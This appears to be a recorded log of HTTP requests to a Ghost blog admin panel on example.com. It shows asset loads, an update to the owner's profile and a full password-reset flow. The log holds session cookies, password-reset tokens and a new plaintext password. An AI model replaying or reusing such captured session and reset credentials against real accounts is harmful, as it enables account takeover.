{"method": "GET", "target": "/ghost/assets/main-content-Bao0puGh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-form-BOZ1UvGu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-filterable-api-BsdfR4Bh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/offers-CpDs1FEB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/automated-emails-D2Q9JPUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/default-welcome-email-values-CxlAh2m6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletter-emails-BvujP3GR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/currency-BL-JTctJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/esm-RgJomlUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-Bi9qob2Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DxKBAZcj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/combobox-BCtZYCId.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/no-value-label-DSmoO1YP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sortable-list-BNNvEEC0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/table-CC1_-yCM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-staff-users-BYweBbfD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/referrers-CP0OJptg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/navigation-DOQYs-rU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-custom-fields-DcFfln-a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/src-BDyV_fBQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-settings-DtwS3ymI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-feature-limit-4zNG5bLS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gift-links-B1YU5Md_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-upgrade-route-B5f80QZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-setting-group-D5TMKznJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-picker-field-D4rsXzSv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-picker-cL1FE5QD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/debounce-CmSZqU2N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/header-image-field-Dcw8joEW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/icon-toggle-group-CRIhZEDY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-utils-DPZ_D9rj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-pintura-editor-Ba4OMh5s.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
|
||||||
